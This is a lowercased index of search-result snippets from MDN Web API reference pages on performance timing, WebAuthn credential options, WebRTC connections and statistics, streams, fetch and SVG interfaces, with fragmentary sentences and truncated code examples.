PerformanceFrameTiming - Web APIs
this means the browser should process a frame in about 16.7ms.
...
this information can be used to help identify areas that take too long to provide a good user experience.
...nceframetiming" target="_top"><rect x="1" y="1" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="111" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performanceframetiming</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface has no properties but it extends the following performanceentry properties (for "frame" performance entry types) by qualifying and constraining the properties as follows: performanceentry.entrytype returns "frame".
... methods
this interface has no methods.
PerformanceServerTiming - Web APIs
note:
this feature is available in web workers.
...
this interface is restricted to the same origin, but you can use the timing-allow-origin header to specify the domains that are allowed to access the server metrics.
... note that
this interface is only available in secure contexts (https) in some browsers.
... example given a server that sends the server-timing header, for example a node.js server like
this: const http = require('http'); function requesthandler(request, response) { const headers = { 'server-timing': ` cache;desc="cache read";dur=23.2, db;dur=53, app;dur=47.2 `.replace(/\n/g, '') }; response.writehead(200, headers); response.write(''); return settimeout(_ => { response.end(); }, 1000) }; http.createserver(requesthandler).listen(3000).on('err...
Using the Performance API - Web APIs
additionally, there must be a way to create a timestamp for a specific point in time;
this is done with the now() method.
...
this guide describes how to use the performance interfaces that are defined in the high-resolution time standard.
...by calling
this method before and after a task, the time it takes to do the task can be measured.
..."</p>"; // print the performance.timing and performance.navigation objects var perf = json.parse(s); var timing = perf.timing; o.innerhtml += "<p>peformance.timing = " + json.stringify(timing) + "</p>"; var navigation = perf.navigation; o.innerhtml += "<p>peformance.navigation = " + json.stringify(navigation) + "</p>"; } } specifications the interfaces described in
this document are defined in the high resolution time standard which has two levels: high-resolution time level 2; editors draft; work in progress high-resolution time; w3c recommendation 17 december 2012 interoperability as shown in the performance interface's browser compatibility table, most of the performance interfaces are broadly implemented by desktop browsers.
Performance Timeline - Web APIs
this document provides an overview of the standard's interfaces.
...
this interface has the following four properties, and these properties are extended (with additional constraints) by other interfaces (such as performancemark): name the name of the performance entry when the metric was created.
...(some performance entry types have no concept of duration and
this value is set to '0' for such types.)
this interface includes a tojson() method that returns the serialization of the performanceentry object.
... performance observers : as shown in the performanceobserver interface's browser compatibility table,
this interface has no shipping implementations.
PointerEvent.tiltX - Web APIs
this property is typically only useful for a pen/stylus pointer type.
... for an illustration of
this property see figure 2 in the specification.
...for devices that do not support
this property, the value is 0.
... example
this example illustrates simple accessing of the tiltx and tilty properties.
PointerEvent.tiltY - Web APIs
this property is typically only useful for a pen/stylus pointer type.
... for an illustration of
this property, see figure 3 in the specification.
...for devices that do not support
this property, the value is 0.
... example
this example illustrates simple accessing of the tiltx and tilty properties.
ProgressEvent.initProgressEvent() - Web APIs
note:
this method has been dropped during the standard process.
...when downloading a resource using http,
this only represent the part of the content itself, not headers and other overhead.
...when downloading a resource using http,
this only represent the content itself, not headers and other overhead.
... specifications
this feature does not exist in any specifications.
PublicKeyCredential.response - Web APIs
the information contained in
this response will be used by the relying party's server to verify the demand is legitimate.
... in order to validate the creation of credentials, a relying party's server needs both:
this response the extensions of the client (given by publickeycredential.getclientextensionresults()) to validate the demand.
... note:
this property may only be used in top-level contexts and will not be available in an <iframe> for example.
...
this object contains data from the client (authenticatorresponse/clientdatajson) and from the authenticator.
PublicKeyCredentialCreationOptions.excludeCredentials - Web APIs
this is provided by the relying party's server if it wants to prevent creation of new credentials for an existing user.
...as of
this writing (march 2019), only "public-key" may be used.
...
this identifier is generated during the creation of the publickeycredential instance.
... examples var publickey = { excludecredentials: [ { type: "public-key", // the id for john.doe@example.com id : new uint8array(26) /*
this actually is given by the server */ }, { type: "public-key", // the id for john-doe@example.com id : new uint8array(26) /* another id */ } ], challenge: new uint8array(26) /*
this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ nam...
PublicKeyCredentialCreationOptions.pubKeyCredParams - Web APIs
if
this array contains multiple elements, they are sorted by descending order of preference.
...as of
this writing (march 2019), only "public-key" may be used.
...the links between identifier and algorithms are defined in
this iana registry (e.g.
... examples var publickey = { pubkeycredparams: [ // we would like an elliptic curve to be used if possible { type: "public-key", alg: -7 }, // if not, then we will fallback on an rsa algorithm { type: "public-key", alg: -37 } ], challenge: new uint8array(26) /*
this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", } }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the s...
PushManager - Web APIs
this interface is accessed via the serviceworkerregistration.pushmanager property.
... note:
this interface replaces functionality previously offered by the obsolete pushregistrationmanager interface.
...if no existing subscription exists,
this resolves to a null value.
... example
this.onpush = function(event) { console.log(event.data); // from here we can write the data to indexeddb, send it to any open // windows, display a notification, etc.
RTCAnswerOptions - Web APIs
the createoffer() method's options parameter is of
this type.
... properties
this dictionary inherits properties from the rtcofferansweroptions dictionary, on which it's based.
... note: at
this time, rtcansweroptions does not have any additional properties defined beyond those included in rtcofferansweroptions.
... however,
this is likely to change in the future, so the type has been defined in preparation for that eventuality.
RTCConfiguration.bundlePolicy - Web APIs
this string, which must be a member of the rtcbundlepolicy enumeration, has the following possible values: balanced the ice agent begins by creating one rtcdtlstransport to handle each type of content added: one for audio, one for video, and one for the rtc data channel, if applicable.
...
this is the default, and most compatible, policy.
...
this introduces bundling but will fall back to not bundling if the remote peer can't handle it.
...
this maximizes bundling at the risk of losing tracks if the remote peer can't do bundling.
RTCConfiguration.certificates - Web APIs
if
this property isn't specified, the browser will automatically generate and use a certificate to secure the connection.
... description if
this property isn't included in the configuration, a set of certificates is automatically generated for each instance of rtcpeerconnection.
...
this attribute supports providing multiple certificates because even though a given dtls connection uses only one certificate, providing multiple certificates allows support for multiple encryption algorithms.
...
this also avoids the cost of generating new keys.
RTCDataChannel.id - Web APIs
this id is set at the time the data channel is created, either by the user agent (if rtcdatachannel.negotiated is false) or by the site or app script (if negotiated is true).
... in early versions of the webrtc specification,
this property's name was stream.
... while the label property doesn't have to be unique,
this id number is guaranteed to be unique among all data channels.
...
this can be also useful for logging and debugging purposes.
RTCDtlsTransport - Web APIs
</svg></div> a:hover text { fill: #0095dd; pointer-events: all;} propertiesicetransport read only the read-only rtcdtlstransport property icetransport contains a reference to the underlying rtcicetransport.state read only the state read-only property of the rtcdtlstransport interface provides information which describes a datagram transport layer security (dtls) transport state.methods
this interface has no methods.
...for
this reason, you'll sometimes see separate transports created at first, one for each track, then see them get bundled up once it's known that bundling is possible.
... examples
this example presents a function, tallysenders(), which iterates over an rtcpeerconnection's rtcrtpsenders, tallying up how many of them are in various states.
... case "connecting": results.connectionpending++; break; case "connected": results.connected++; break; case "closed": results.closed++; break; case "failed": results.failed++; break; default: results.unknown++; break; } } }); return results; } note that in
this code, the new and connecting states are being treated as a single connectionpending status in the returned object.
RTCIceCandidate.address - Web APIs
this can occur without the remote peer's consent.
...to do
this, configure the ice agent's ice transport policy using rtcconfiguration, like
this: var rtcconfig = { iceservers: [ { urls: "turn:myturn.server.ip", username: "username", credential: "password" } ], icetransportpolicy: "relay" } by setting rtcconfiguration.icetransportpolicy to "relay", any host candidates (candidates where the ip address is the peer's own ip address) are left out of the pool of candidates, as are any other candidates which aren't relay candidates.
... usage notes consider
this sdp attribute line (a-line) which describes an ice candidate: a=candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host the fifth field, "192.168.0.56" is the ip address in
this candidate's a-line string.
... example
this code snippet uses the value of address to implement an ip address based ban feature.
RTCIceCandidate.port - Web APIs
this applies only if the candidate implements port.
... usage notes consider
this sdp attribute line (a-line) which describes an ice candidate: a=candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host the port number is found in the sixth field, which is "44323".
... in
this case, the value of port will be 44323.
... example
this code snippet fetches the ip address and port number of the candidate, storing them into an object for future use.
RTCIceCandidatePairStats.currentRoundTripTime - Web APIs
the rtcicecandidatepairstats property currentroundtriptime is a floating-point value indicating the number of seconds it takes for data to be sent by
this peer to the remote peer and back over the connection described by
this pair of ice candidates.
... syntax rtt = rtcicecandidatepairstats.currentroundtriptime; value a floating-point value indicating the round-trip time, in seconds for the connection described by the pair of candidates for which
this rtcicecandidatepairstats object offers statistics.
...
this value is computed by observing the time that elapsed between the most recent stun request being sent to the remote peer and the response to that request arriving.
...
this information may come from ongoing stun connectivity checks as well as from consent requests made when the connection was initially being opened.
RTCIceCandidatePairStats.priority - Web APIs
syntax pairpriority = rtcicecandidatepairstats.priority; value an integer value indicating the priority of
this pair of candidates as compared to other pairs on the same peer connection.
... the higher
this value, the better the webrtc layer thinks
this pair of candidates is compared to the others, and the more likely a pair is to be selelcted for use.
... note:
this property was removed from the specification as its value cannot be guaranteed to be accurately represented in a javascript number.
... you can calculcate its value using the algorithm described in rfc 5245, section 5.7.2 if you need
this information and can accept the risk that the result may not be entirely accurate.
RTCIceCandidatePairStats.selected - Web APIs
syntax isselected = icpstats.selected; value a firefox-specific boolean value which is true if the candidate pair described by
this object is the one currently in use.
... example the function shown in
this example identifies the currently-selected candidate pair from a statistics report by first iterating over each report, looking for a transport report; when one is found, that transport's selectedcandidatepairid is used to get the rtcicecandidatepair describing the connection.
...
this candidate pair is then returned as the currently-selected one.
...
this property is unique to firefox.
RTCIceCandidatePairStats.totalRoundTripTime - Web APIs
the rtcicecandidatepairstats dictionary's totalroundtriptime property is the total time that has elapsed between sending stun requests and receiving the responses, for all such requests that have been made so far on the pair of candidates described by
this rtcicecandidatepairstats object.
...
this value includes both connectivity check and consent check requests.
... syntax totalrtt = rtcicecandidatepairstats.totalroundtriptime; value
this floating-point value indicates the total number of seconds which have elapsed between sending out stun connectivity and consent check requests and receiving their responses, for all such requests made so far on the connection described by
this candidate pair.
... you can calculate the average round-trip time (rtt) by dividing
this value by the value of the responsesreceived property: rtt = rtcicecandidatepairstats.totalroundtriptime / rtcicecandidatepairstats.responsesreceived; specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.totalroundtriptime' in that specification.
RTCIceCandidateStats.networkType - Web APIs
this includes all cellular data services including edge (2g), hspa (3g), lte (4g), and nr (5g).
...
this may be because the browser isn't able to determine the network type for some reason or it may be intentionally getting obscured for security reasons, such as to avoid device fingerprinting.
... example
this example sets up a periodic function using setinterval() that outputs statistics reports for candidates that use or would use a cellular data network to a log view.
...s => { let statsoutput = ""; stats.foreach(report => { if ((stats.type === "local-candidate" || stats.type === "remote.candidate") && stats.networktype === "cellular") { statsoutput += `<h2>report: ${report.type}</h3>\n<strong>id:</strong> ${report.id}<br>\n` + `<strong>timestamp:</strong> ${report.timestamp}<br>\n`; // now the statistics for
this report; we intentially drop the ones we // sorted to the top above object.keys(report).foreach(statname => { if (statname !== "id" && statname !== "timestamp" && statname !== "type") { statsoutput += `<strong>${statname}:</strong> ${report[statname]}<br>\n`; } }); } }); document.queryselector(".stats-box").innerhtml = statsou...
RTCInboundRtpStreamStats.pliCount - Web APIs
this information is only available for video streams.
...
this may trigger the sender to send a full frame in order to allow the receiver to re-synchronize, since lost data may be an irrecoverable situation for decoding media.
... however, the primary purpose of
this message is to allow the sender to consider techniques to mitigate network performance issues.
...
this is often achieved by methods such as increasing the compression, lowering resolution, or finding other ways to reduce the bit rate of the stream.
RTCOutboundRtpStreamStats.averageRtcpInterval - Web APIs
the averagertcpinterval property of the rtcoutboundrtpstreamstats dictionary is a floating-point value indicating the average time that should pass between transmissions of rtcp packets on
this stream.
...
this interval is computed following the formula outlined in rfc 1889: a.7.
...since
this value is also used to determine the number of seconds after a stream starts to flow before the first rtcp packet should be sent, the result is that if many users try to start using the service at the same time, the server won't be flooded with rtcp packets coming in all at once.
... the sending endpoint computes
this value when sending compound rtcp packets, which must contain at least an rtcp rr or sr packet and an sdes packet with the cname item.
RTCOutboundRtpStreamStats.sliCount - Web APIs
the slicount property of the rtcoutboundrtpstreamstats dictionary indicates how many slice loss indication (sli) packets the rtcrtpsender received from the remote rtcrtpreceiver for the rtp stream described by
this object.
... an sli packet is used by a decoder to let the encoder (the sender) know that it's detected corruption of one or more consecutive macroblocks, in scan order, in the received media.in general, what's usually of interest is that the higher
this number is, the more the stream data is becoming corrupted between the sender and the receiver, causing the receiver to request retransmits or to drop frames entirely.
...
this is a very technical part of how video codecs work.
... note:
this value is only present for video media.
RTCPeerConnection.connectionState - Web APIs
when
this property's value changes, a connectionstatechange event is sent to the rtcpeerconnection instance.
...
this state essentially represents the aggregate state of all ice transports (which are of type rtcicetransport or rtcdtlstransport) being used by the connection.
...<<< make
this a link once i know where that will be documented "connected" every ice transport used by the connection is either in use (state "connected" or "completed") or is closed (state "closed"); in addition, at least one transport is either "connected" or "completed".
...
this value was in the rtcsignalingstate enum (and therefore found by reading the value of the signalingstate) property until the may 13, 2016 draft of the specification.
RTCPeerConnection.currentLocalDescription - Web APIs
to change the currentlocaldescription, call rtcpeerconnection.setlocaldescription(), which triggers a series of events which leads to
this value being set.
... unlike rtcpeerconnection.localdescription,
this value represents the actual current state of the local end of the connection; localdescription may specify a description which the connection is currently in the process of switching over to.
...if none has been successfully set,
this value is null.
... example
this example looks at the currentlocaldescription and displays an alert containing the rtcsessiondescription object's type and sdp fields.
RTCPeerConnection.currentRemoteDescription - Web APIs
to change the currentremotedescription, call rtcpeerconnection.setremotedescription(), which triggers a series of events which leads to
this value being set.
... unlike rtcpeerconnection.remotedescription,
this value represents the actual current state of the local end of the connection; remotedescription may specify a description which the connection is currently in the process of switching over to.
...if none has been successfully set,
this value is null.
... example
this example looks at the currentremotedescription and displays an alert containing the rtcsessiondescription object's type and sdp fields.
RTCPeerConnection: negotiationneeded event - Web APIs
this occurs both during the initial setup of the connection as well as any time a change to the communication environment requires reconfiguring the connection.
...
this starts the process of ice negotiation by instructing your code to begin exchanging ice candidates through the signaling server.
... examples in
this example, we use addeventlistener() to create an event handler for negotiationneeded.
...the other peer should recognize
this message and follow up by creating its own rtcpeerconnection, setting the remote description with setremotedescription(), and then creating an answer to send back to the offering peer.
RTCPeerConnection.onaddstream - Web APIs
the rtcpeerconnection.onaddstream event handler is a property containing the code to execute when the addstream event, of type mediastreamevent, is received by
this rtcpeerconnection.
... such an event is sent when a mediastream is added to
this connection by the remote peer.
... important:
this property has been removed from the specification; you should now use rtcpeerconnection.ontrack to watch for track events instead.
... example
this code, based on an older version of our signaling and video calling sample, responds to addstream events by setting the video source for a <video> element to the stream specified in the event, and then enabling a "hang up" button in the app's user interface.
RTCPeerConnection.onicegatheringstatechange - Web APIs
this happens when the ice gathering state—that is, whether or not the ice agent is actively gathering candidates—changes.
... you don't need to watch for
this event unless you have specific reasons to want to closely monitor the state of ice gathering.
... example
this example updates status information presented to the user to let them know what's happening by examining the current value of the icegatheringstate property each time it changes and changing the contents of a status display based on the new information.
... the status is simply presented as text in a <div> element: <div id="icestatus"></div> the actual event handler looks like
this: pc.onicegatheringstatechange = function() { let label = "unknown"; switch(pc.icegatheringstate) { case "new": case "complete": label = "idle"; break; case "gathering": label = "determining route"; break; } document.getelementbyid("icestatus").innerhtml = label; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.onicegatheringstatechange' in that specification.
RTCPeerConnection.onnegotiationneeded - Web APIs
this event is fired when a change has occurred which requires session negotiation.
...
this negotiation should be carried out as the offerer, because some session changes cannot be negotiated as the answerer.
... syntax rtcpeerconnection.onnegotiationneeded = eventhandler; value
this should be set to a function you provide which is passed a single parameter: an event object containing the negotiationneeded event.
... example
this example, derived from the example in signaling and video calling, establishes a handler for negotiationneeded events to handle creating an offer, configuring the local end of the connection, and sending the offer to the remote peer.
RTCPeerConnection.onsignalingstatechange - Web APIs
the function receives as input the event object of type event;
this event is sent when the peer connection's signalingstate changes, which may happen either because of a call to setlocaldescription() or to setremotedescription().
... syntax rtcpeerconnection.onsignalingstatechange = errorhandler; value set
this to a function which you provide that receives an event object as input;
this contains the signalingstatechange event.
...
this event object doesn't provide details about what changed, but you can examine the signalingstate property to determine what the new state is.
... you may also, as always, set up a handler for the signalingstatechange event using addeventlistener(): myrtcpeerconnection.addeventlistener("signalingstatechange", mysignalingstatechangehandler); or, using an anonymous (inline) handler: myrtcpeerconnection.addeventlistener("signalingstatechange", event => { /* handle the event here */ }); example
this snippet shows a handler for signalingstatechange that looks for the "have-local-pranswer" signaling state—indicating that a remote offer has been received and a local description of type "pranswer" has been applied in response.
RTCPeerConnection.ontrack - Web APIs
the function receives as input the event object, of type rtctrackevent;
this event is sent when a new incoming mediastreamtrack has been created and associated with an rtcrtpreceiver object which has been added to the set of receivers on connection.
...
this information includes the mediastreamtrack object representing the new track, the rtcrtpreceiver and rtcrtptransceiver, and a list of mediastream objects which indicates which stream or streams the track is part of..
... example
this example, taken from the code for the article signaling and video calling, connects the incoming track to the <video> element which will be used to display the incoming video.
...
this connects that stream of video to the element so that it begins to be presented to the user.
RTCPeerConnection.pendingLocalDescription - Web APIs
this does not describe the connection as it currently stands, but as it may exist in the near future.
... syntax sessiondescription = rtcpeerconnection.pendinglocaldescription; return value if a local description change is in progress,
this is an rtcsessiondescription describing the proposed configuration.
... otherwise,
this returns null.
... example
this example looks at the pendinglocaldescription to determine whether or not there's a description change being processed.
RTCPeerConnection.pendingRemoteDescription - Web APIs
this does not describe the connection as it currently stands, but as it may exist in the near future.
... syntax sessiondescription = rtcpeerconnection.pendingremotedescription; return value if a remote description change is in progress,
this is an rtcsessiondescription describing the proposed configuration.
... otherwise,
this returns null.
... example
this example looks at the pendingremotedescription to determine whether or not there's a description change being processed.
RTCPeerConnection.removeTrack() - Web APIs
if the track is already stopped, or is not in the connection's senders list,
this method has no effect.
... if the connection has already been negotiated (signalingstate is set to "stable"), it is marked as needing to be negotiated again; the remote peer won't experience the change until
this negotiation occurs.
... a negotiationneeded event is sent to the rtcpeerconnection to let the local end know
this negotiation must occur.
... example
this example adds a video track to a connection and sets up a listener on a close button which removes the track when the user clicks the button.
RTCPeerConnectionIceErrorEvent.address - Web APIs
the error which occurred involved
this address.
...
this address identifies the network interface on the local device which is being used to attempt to establish the connection to the remote peer.
...
this can be useful on multi-homed systems—devices with more than one network connection—to determine which network interface is being used.
... examples
this example creates a handler for icecandidateerror events which creates human readable messages describing the local network interface for the connection as well as the ice server that was being used to try to open the connection, then calls a function to display those as well as the event's errortext property's contents.
RTCRemoteOutboundRtpStreamStats.remoteTimestamp - Web APIs
this differs from timestamp, which indicates the time at which the statistics were generated or received locally.
...
this is different from the value timestamp, which gives the time at which the statistics were generated or received by the local peer.
... if
this property is present, it comes from the rtcp sender report (sr) block, which reflects the clock on the remote peer at the time the message was sent.
... keep in mind that
this means the clock may not be synchronized with the local clock, and that both the current time and the pace at which the clock runs may differ to some extent.
RTCRtpParameters - Web APIs
this parameter cannot be changed once initially set.
...
this parameter cannot be changed once initially set.
...
this parameter cannot be changed once initially set.
... examples
this example obtains the canonical name (cname) being used for rtcp on an rtcrtpsender or rtcrtpreceiver.
RTCRtpStreamStats.pliCount - Web APIs
this may trigger the sender to send a full frame in order to allow the receiver to re-synchronize, since lost data may be an irrecoverable situation for decoding media.
... however, the primary purpose of
this message is to allow the sender to consider techniques to mitigate network performance issues.
...
this is often achieved by methods such as increasing the compression, lowering resolution, or finding other ways to reduce the bit rate of the stream.
... note:
this value is only available on the receiver, and only for video media.
RTCRtpTransceiver - Web APIs
this pairing of send and receive srtp streams is significant for some applications, so rtcrtptransceiver is used to represent
this pairing, along with other important state from the media section.
... mid read only the media id of the m-line associated with
this transceiver.
...
this association is established, when possible, whenever either a local or remote description is applied.
...
this field is null if neither a local or remote description has been applied, or if its associated m-line is rejected by either a remote offer or any answer.
RTCSessionDescription - Web APIs
constants rtcsdptype
this enum defines strings that describe the current state of the session description, as used in the type property.
...in other words,
this session description describes the agreed-upon configuration, and is being sent to finalize negotiation.
... rollback
this special type with an empty session description is used to roll back to the previous stable state.
... rtcsessiondescription()
this constructor returns a new rtcsessiondescription.
Range.commonAncestorContainer - Web APIs
this means that if range.startcontainer and range.endcontainer both refer to the same node,
this node is the common ancestor container.
... since a range need not be continuous, and may also partially select nodes,
this is a convenient way to find a node which encloses a range.
...
this property is read-only.
... syntax rangeancestor = range.commonancestorcontainer; example in
this example, we create an event listener to handle pointerup events on a list.
Range.compareNode() - Web APIs
obsolete since gecko 1.9 (firefox 3)
this feature is obsolete.
... warning:
this method has been removed from gecko 1.9 (firefox 3) and will not exist in future versions of firefox, which was the only browser implementing it; you should switch to range.compareboundarypoints() as soon as possible.
... example range = document.createrange(); range.selectnode(document.getelementsbytagname("div").item(0)); returnvalue = range.comparenode(document.getelementsbytagname("p").item(0)); notes
this method is obsolete; you should use the w3c dom range.compareboundarypoints() method.
... specifications
this method is not standard and therefore not part of any specification.
ReadableStream.tee() - Web APIs
this is useful for allowing two readers to read a stream simultaneously, perhaps at different speeds.
... you might do
this for example in a serviceworker if you want to fetch a response from the server and stream it to the browser, but also stream it to the serviceworker cache.
... since a response body cannot be consumed more than once, you’d need two copies to do
this.
...current chunk = ' + chunk; list.appendchild(listitem); // read some more, and call
this function again return reader.read().then(processtext); }); } specifications specification status comment streamsthe definition of 'tee()' in that specification.
Reporting API - Web APIs
this method is not as failsafe as the report-to method described above — any page crash could stop you retrieving the reports — but it is easier to set up, and more flexible.
...recation_report.html example, we create a simple reporting observer to observe usage of deprecated features on our web page: let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); we then tell it to start observing reports using reportingobserver.observe();
this tells the observer to start collecting reports in its report queue, and runs the callback function specified inside the constructor: observer.observe(); later on in the example we deliberately use the deprecated version of mediadevices.getusermedia(): if(navigator.mozgetusermedia) { navigator.mozgetusermedia( constraints, success, failure); } else { navigator.getusermedia( ...
...constraints, success, failure); }
this causes a deprecation report to be generated; because of the event handler we set up inside the reportingobserver() constructor, we can now click the button to display the report details.
...because of
this, when the button is pressed only the second report is listed.
Request.mode - Web APIs
the mode read-only property of the request interface contains the mode of the request (e.g., cors, no-cors, same-origin, or navigate.)
this is used to determine if cross-origin requests lead to valid responses, and which properties of the response are readable.
... the associated mode, available values of which are: same-origin — if a request is made to another origin with
this mode set, the result is simply an error.
... you could use
this to ensure that a request is always being made to your origin.
...
this ensures that serviceworkers do not affect the semantics of the web and prevents security and privacy issues arising from leaking data across domains.
Resize Observer API - Web APIs
to achieve
this, a limited solution would be to listen to changes to a suitable event that hints at the element you are interested in changing size (e.g.
...we could just implement
this using border-radius with a percentage, but that quickly leads to ugly-looking elliptical corners, whereas the above solution gives you nice square corners that scale with the box size.
...
this shows that you can respond to changes in an element’s size, even if they have nothing to do with the viewport.
... the code will usually follow
this kind of pattern (taken from resize-observer-border-radius.html): const resizeobserver = new resizeobserver(entries => { for (let entry of entries) { if(entry.contentboxsize) { entry.target.style.borderradius = math.min(100, (entry.contentboxsize.inlinesize/10) + (entry.contentboxsize.blocksize/10)) + 'px'; } else { entry.target.style.borderradius = math.min(100, (entry.contentrect.width/10) + (entry.contentrect.height/10)) + 'px'; } } }); resizeobserver.observe(document.queryselector('div')); specifications specification status comment resize observer editor's draft initial definition.
Using the Resource Timing API - Web APIs
this document shows the use of resource timing interfaces.
...
this example also calculates the time from the start of the fetch and request start phases (fetchstart and requeststart, respectively), until the response has ended (responseend).
...
this timing data provides a detailed profile of the resource loading phases and
this data can be used to help identify performance bottlenecks.
...
this requires the server providing the resource to send the timing-allow-origin http response header with a value specifying the origin or origins which are allowed to get the restricted timestamp values.
Resource Timing API - Web APIs
this document provides an overview of the resource timing interfaces.
...
this type is a double and its value is a discrete point in time or the difference in time between two discrete points in time.
...
this requires the server providing the resource to send the timing-allow-origin http response header with a value specifying the origin or origins which are allowed to get the restricted timestamp values.
...
this would be a nice place to have a diagram showing the relationships between these segments of the resource loading time.
Response.redirected - Web APIs
see the example disallowing redirects, which shows
this being done.
... examples detecting redirects checking to see if the response comes from a redirected request is as simple as checking
this flag on the response object.
...note, however, that
this isn't as safe as outright rejecting redirects if they're unexpected, as described under disallowing redirects below.
..."; } return response.blob(); }).then(function(imageblob) { let imgobjecturl = url.createobjecturl(imageblob); document.getelementbyid("img-element-id").src = imgobjecturl; }); disallowing redirects because using redirected to manually filter out redirects can allow forgery of redirects, you should instead set the redirect mode to "error" in the init parameter when calling fetch(), like
this: fetch("awesome-picture.jpg", { redirect: "error" }).then(function(response) { return response.blob(); }).then(function(imageblob) { let imgobjecturl = url.createobjecturl(imageblob); document.getelementbyid("img-element-id").src = imgobjecturl; }); specifications specification status comment fetchthe definition of 'redirected' in that specification.
SVGAltGlyphElement - Web APIs
this interface makes it possible to implement more sophisticated and particular glyph characters.
... properties
this interface also inherits properties from its parent interface, svggraphicselement.
...
this property specifies the format of the given font.
... methods
this interface has no methods but inherits methods from its parent, svgelement.
SVGAnimatedString - Web APIs
you need to create svg attribute before doing anything else, everything should be declared inside
this.
... properties svganimatedstring.animval read only
this is a domstring representing the animation value.
... svganimatedstring.baseval
this is a domstring representing the base value.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition) recommendation scalable vector graphics (svg) 2 candidate recommendation browser compatibility the compatibility table on
this page is generated from structured data.
SVGComponentTransferFunctionElement - Web APIs
it is invalid to attempt to define a new value of
this type or to attempt to switch an existing value to
this type.
... properties
this interface also inherits properties from its parent interface, svgelement.
...it takes one of the svg_fecomponenttransfer_type_* constants defined on
this interface.
... methods
this interface does not provide any specific methods, but implements those of its parent, svgelement.
SVGFEBlendElement - Web APIs
it is invalid to attempt to define a new value of
this type or to attempt to switch an existing value to
this type.
... properties
this interface also inherits properties from its parent interface, svgelement, and implements properties of svgfilterprimitivestandardattributes.
...it takes one of the svg_feblend_mode_* constants defined on
this interface.
... methods
this interface does not provide any specific methods, but implements those of its parent, svgelement, and implements methods of svgfilterprimitivestandardattributes.
SVGFEColorMatrixElement - Web APIs
it is invalid to attempt to define a new value of
this type or to attempt to switch an existing value to
this type.
... properties
this interface also inherits properties from its parent interface, svgelement , and also implements properties of svgfilterprimitivestandardattributes.
...it takes one of the svg_fecolormatrix_type_* constants defined on
this interface.
... methods
this interface does not provide any specific methods, but implements those of its parent, svgelement , and also implements methods of svgfilterprimitivestandardattributes.
SVGFECompositeElement - Web APIs
it is invalid to attempt to define a new value of
this type or to attempt to switch an existing value to
this type.
... properties
this interface also inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes.
...it takes one of the svg_fecomposite_operator_* constants defined on
this interface.
... methods
this interface does not provide any specific methods, but implements those of its parent, svgelement, and also implements methods of svgfilterprimitivestandardattributes.
SVGFEConvolveMatrixElement - Web APIs
it is invalid to attempt to define a new value of
this type or to attempt to switch an existing value to
this type.
... properties
this interface also inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes.
...takes one of the svg_edgemode_* constants defined on
this interface.
... methods
this interface does not provide any specific methods, but implements those of its parent, svgelement, and also implements methods of svgfilterprimitivestandardattributes.
SVGFEGaussianBlurElement - Web APIs
it is invalid to attempt to define a new value of
this type or to attempt to switch an existing value to
this type.
... properties
this interface also inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes.
...takes one of the svg_edgemode_* constants defined on
this interface.
... methods
this interface also inherits methods of its parent, svgelement, and also implements methods of svgfilterprimitivestandardattributes.
SVGFEMorphologyElement - Web APIs
it is invalid to attempt to define a new value of
this type or to attempt to switch an existing value to
this type.
... properties
this interface also inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes.
...it takes one of the svg_morphology_operator_* constants defined on
this interface.
... methods
this interface does not provide any specific methods, but implements those of its parent, svgelement, and also implements methods of svgfilterprimitivestandardattributes.
SVGGradientElement - Web APIs
it is invalid to attempt to define a new value of
this type or to attempt to switch an existing value to
this type.
... properties
this interface also inherits properties from its parent, svgelement, and implements those of svgurireference.
...one of the spread method types defined on
this interface.
... methods
this interface does not provide any specific methods, but implements those of its parent, svgelement.
SVGRenderingIntent - Web APIs
pi/svgrenderingintent" target="_top"><rect x="1" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="91" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgrenderingintent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} warning:
this interface was removed in the svg 2 specification.
...it is invalid to attempt to define a new value of
this type or to attempt to switch an existing value to
this type.
... properties
this interface doesn't implement any specific properties.
... methods
this interface doesn't implement any specific methods.
SVGTransform - Web APIs
it is invalid to attempt to define a new value of
this type or to attempt to switch an existing value to
this type.
...e(…) transformation svg_transform_rotate 4 a rotate(…) transformation svg_transform_skewx 5 a skewx(…) transformation svg_transform_skewy 6 a skewy(…) transformation properties name type description type unsigned short the type of the value as specified by one of the svg_transform_* constants defined on
this interface.
... matrix svgmatrix the matrix that represents
this transformation.
... browser compatibility the compatibility table on
this page is generated from structured data.
SVGUseElement - Web APIs
eb/api/svguseelement" target="_top"><rect x="131" y="65" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="196" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svguseelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface also inherits properties from its parent interface, svggraphicselement and implements properties from svgurireference.
...if the element does not have a shadow tree (for example, because its uri is invalid or because it has been disabled by conditional processing), then getting
this attribute returns null.
...if the element does not have a shadow tree (for example, because its uri is invalid or because it has been disabled by conditional processing), then getting
this attribute returns null.
... methods
